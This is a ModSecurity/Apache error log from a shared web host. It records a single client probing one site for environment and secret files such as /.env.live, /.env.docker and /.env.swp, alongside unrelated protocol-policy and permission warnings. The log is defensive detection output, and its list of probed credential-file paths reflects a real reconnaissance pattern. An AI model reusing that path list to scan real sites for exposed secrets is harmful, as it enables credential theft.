[Fri Jul 17 09:25:53.431155 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.ci"] [unique_id "almnyVh1WDijTxd1xw5RtwAAAAc"]
[Fri Jul 17 09:25:53.431630 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.ci"] [unique_id "almnyVh1WDijTxd1xw5RtwAAAAc"]
[Fri Jul 17 09:25:53.601005 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.docker"] [unique_id "almnyY-0g_VSPeIeFN3FzgAAAAs"]
[Fri Jul 17 09:25:53.601307 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.docker"] [unique_id "almnyY-0g_VSPeIeFN3FzgAAAAs"]
[Fri Jul 17 09:25:53.601766 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.docker"] [unique_id "almnyY-0g_VSPeIeFN3FzgAAAAs"]
[Fri Jul 17 09:25:53.760736 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.live"] [unique_id "almnyfwooI4qY7Jg93pavgAAABM"]
[Fri Jul 17 09:25:53.760990 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.live"] [unique_id "almnyfwooI4qY7Jg93pavgAAABM"]
[Fri Jul 17 09:25:53.761357 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.live"] [unique_id "almnyfwooI4qY7Jg93pavgAAABM"]
[Fri Jul 17 09:25:53.921182 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:55722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:53.924939 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.preprod"] [unique_id "almnyVh1WDijTxd1xw5RuAAAAAc"]
[Fri Jul 17 09:25:53.925218 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.preprod"] [unique_id "almnyVh1WDijTxd1xw5RuAAAAAc"]
[Fri Jul 17 09:25:53.925594 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.preprod"] [unique_id "almnyVh1WDijTxd1xw5RuAAAAAc"]
[Fri Jul 17 09:25:54.091796 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.uat"] [unique_id "almnyq14q1EBnanVMYGpYAAAAAk"]
[Fri Jul 17 09:25:54.092099 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.uat"] [unique_id "almnyq14q1EBnanVMYGpYAAAAAk"]
[Fri Jul 17 09:25:54.092509 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.uat"] [unique_id "almnyq14q1EBnanVMYGpYAAAAAk"]
[Fri Jul 17 09:25:54.320646 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.dist"] [unique_id "almnylh1WDijTxd1xw5RuQAAAAc"]
[Fri Jul 17 09:25:54.320932 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.dist"] [unique_id "almnylh1WDijTxd1xw5RuQAAAAc"]
[Fri Jul 17 09:25:54.321410 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.dist"] [unique_id "almnylh1WDijTxd1xw5RuQAAAAc"]
[Fri Jul 17 09:25:54.495210 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/.env.swp"] [unique_id "almnyo-0g_VSPeIeFN3F0AAAAAs"]
[Fri Jul 17 09:25:54.495405 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.swp"] [unique_id "almnyo-0g_VSPeIeFN3F0AAAAAs"]
[Fri Jul 17 09:25:54.495681 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.swp"] [unique_id "almnyo-0g_VSPeIeFN3F0AAAAAs"]
[Fri Jul 17 09:25:54.496105 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.swp"] [unique_id "almnyo-0g_VSPeIeFN3F0AAAAAs"]
[Fri Jul 17 09:25:54.654602 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/.env~"] [unique_id "almnyroj0IkvhSCYadmHVQAAAAQ"]
[Fri Jul 17 09:25:54.654786 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env~"] [unique_id "almnyroj0IkvhSCYadmHVQAAAAQ"]
[Fri Jul 17 09:25:54.655106 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env~"] [unique_id "almnyroj0IkvhSCYadmHVQAAAAQ"]
[Fri Jul 17 09:25:54.655540 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env~"] [unique_id "almnyroj0IkvhSCYadmHVQAAAAQ"]
[Fri Jul 17 09:25:54.684287 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/hp-laptop-and-notebook"] [unique_id "almnyhHlOGcokz2QIwTYpAAAAAM"]
[Fri Jul 17 09:25:54.684451 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/hp-laptop-and-notebook"] [unique_id "almnyhHlOGcokz2QIwTYpAAAAAM"]
[Fri Jul 17 09:25:54.684937 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/hp-laptop-and-notebook"] [unique_id "almnyhHlOGcokz2QIwTYpAAAAAM"]
[Fri Jul 17 09:25:54.745553 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnylh1WDijTxd1xw5RugAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:25:54.745612 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnylh1WDijTxd1xw5RugAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:25:54.814937 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env1"] [unique_id "almnyol9vhFBGA6D8l9_mQAAAAw"]
[Fri Jul 17 09:25:54.818531 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env1"] [unique_id "almnyol9vhFBGA6D8l9_mQAAAAw"]
[Fri Jul 17 09:25:54.819032 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env1"] [unique_id "almnyol9vhFBGA6D8l9_mQAAAAw"]
[Fri Jul 17 09:25:54.956204 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnyhHlOGcokz2QIwTYpAAAAAM"]
[Fri Jul 17 09:25:54.956263 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnyhHlOGcokz2QIwTYpAAAAAM"]
[Fri Jul 17 09:25:54.956281 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnyhHlOGcokz2QIwTYpAAAAAM"]
[Fri Jul 17 09:25:54.964615 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:54.975492 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env2"] [unique_id "almnyvwooI4qY7Jg93pawQAAABM"]
[Fri Jul 17 09:25:54.975753 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env2"] [unique_id "almnyvwooI4qY7Jg93pawQAAABM"]
[Fri Jul 17 09:25:54.976102 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env2"] [unique_id "almnyvwooI4qY7Jg93pawQAAABM"]
[Fri Jul 17 09:25:55.029110 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:55.102378 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
